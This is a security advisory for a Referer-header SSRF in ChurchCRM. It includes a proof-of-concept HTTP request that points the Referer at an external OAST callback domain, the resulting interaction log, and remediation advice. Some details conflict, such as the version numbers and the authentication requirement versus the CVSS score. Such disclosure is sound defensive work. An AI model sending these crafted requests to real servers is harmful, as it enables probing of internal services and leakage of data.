

# SSRF via Referer header in ChurchCRM 5.21.0 allows server-side HTTP/HTTPS requests to arbitrary hosts

**High** DawoudIO published [GHSA-44x3-28jv-mrwq](#) 2 days ago

## Package

*php* **ChurchCRM/CRM** ([Composer](#))

## Affected versions

$\leq$  6.5.2

## Patched versions

6.5.3

## Description

### Summary

In ChurchCRM 5.21.0 it is possible to trigger server-side HTTP/HTTPS requests to arbitrary hosts (SSRF) by supplying a crafted URL in the Referer request header. The server subsequently makes an outbound request to the attacker-controlled domain, confirmed via OAST.

### Details

Vector: Untrusted Referer header is consumed by backend logic (or downstream logging/analytics pipeline) that dereferences the header value.

Affected surface: Requests reaching DonationFundEditor.php (other endpoints may be affected if the same middleware/logging path is shared).

What happens: When the Referer contains a full URL, the application/server issues an outbound request to that URL.

Authentication: Not required (works pre-auth if the route is reachable).

Root cause (hypothesis): Use of user-supplied header to build/trigger a server-side fetch without strict validation/allow-listing and without egress protections.

### PoC

Send a request to any route that reaches the DonationFundEditor.php path (or parent controller) and set a crafted Referer header:

```
GET /DonationFundEditor.php HTTP/1.1 Host: <target> Referer: http://<attacker-oast-domain>/DonationFundEditor.php Connection: close
```

#### Request

```

Pretty Raw Hex
1 POST /DonationFundEditor.php HTTP/1.1
2 Host: 10.10.10.141
3 Accept-Encoding: gzip, deflate, br
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 Accept-Language: en-US;q=0.9,en;q=0.8
6 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
7 Connection: close
8 Cache-Control: max-age=0
9 Cookie: CRM-5508e392a3153920cbd4eea1674ba063=k08j8asocjo7c4eep6eqn8mt8c
10 Origin: http://10.10.10.141
11 Upgrade-Insecure-Requests: 1
12 Referer: http://zhk3fo1bpw75vkofoyyqbazgo7uyiq6f.oastify.com/DonationFundEditor.php
13 Content-Type: application/x-www-form-urlencoded
14 Sec-CH-UA: "Google Chrome";v="138", "Not=A?Brand";v="8", "Chromium";v="138"
15 Sec-CH-UA-Platform: "Linux"
16 Sec-CH-UA-Mobile: ?0
17 Content-Length: 145
18
19 Oname=&0desc=&0active=1&iname=Pledges&1desc=Pledge+income+for+the+operating+budget&1active=1&SaveChanges=Save+Changes&newFieldName=&newFieldDesc=

```

Payloads to generate:   Include Collaborator server location  Polling automatically

#	Time	Type	Payload	Source IP address
4	2025-Oct-26 18:04:26.058 UTC	DNS	zhk3fo1bpw75vkofoyyqbazgo7uyiq6f	
5	2025-Oct-26 18:04:26.110 UTC	DNS	zhk3fo1bpw75vkofoyyqbazgo7uyiq6f	
6	2025-Oct-26 18:04:26.232 UTC	HTTP	zhk3fo1bpw75vkofoyyqbazgo7uyiq6f	

Expected result: Your OAST endpoint receives an HTTP request originating from the server (not the client), confirming SSRF/external service interaction.

## Remediation

If arbitrary external interactions are not intended:

Implement an allow-list of permitted schemes/hosts/ports for any server-side fetch.

Enforce scheme restrictions (https only), canonicalization, and no IP literals, hostnames resolving to private/loopback/link-local ranges, or non-standard ports.

Use DNS pinning or resolve-then-connect with checks to prevent DNS rebinding.

Avoid fetching untrusted URLs derived from request headers (e.g., Referer, X-Forwarded-\*).

If some interactions are intended:

Constrain egress from the application network (firewall, egress proxy) to required destinations only.

Block access to internal address ranges (RFC1918/4193), link-local, loopback, and instance metadata endpoints.

Harden the server to remove or protect any services bound to loopback.

## Impact

Internal reachability: Potential access to internal services, loopback, or cloud metadata endpoints from the app server’s network context.

Data exposure: Possible leakage of sensitive responses from reachable internal HTTP services (confidentiality impact).

Attack proxying: Use of the server as a proxy for port scanning or chained attacks against otherwise non-exposed systems.

Service effects: Depending on reachable targets, limited integrity/availability impacts (e.g., unintended requests, amplification).

**Severity**

High 7.0 / 10

**CVSS v4 base metrics**

**Exploitability Metrics**

Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	High
User interaction	None

**Vulnerable System Impact Metrics**

Confidentiality	High
Integrity	Low
Availability	Low

**Subsequent System Impact Metrics**

Confidentiality	None
Integrity	None
Availability	None

[Learn more about base metrics](#)

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N

**CVE ID**

CVE-2026-35572

**Weaknesses**

► CWE-918

**Credits**



**mateusz-sa**

Reporter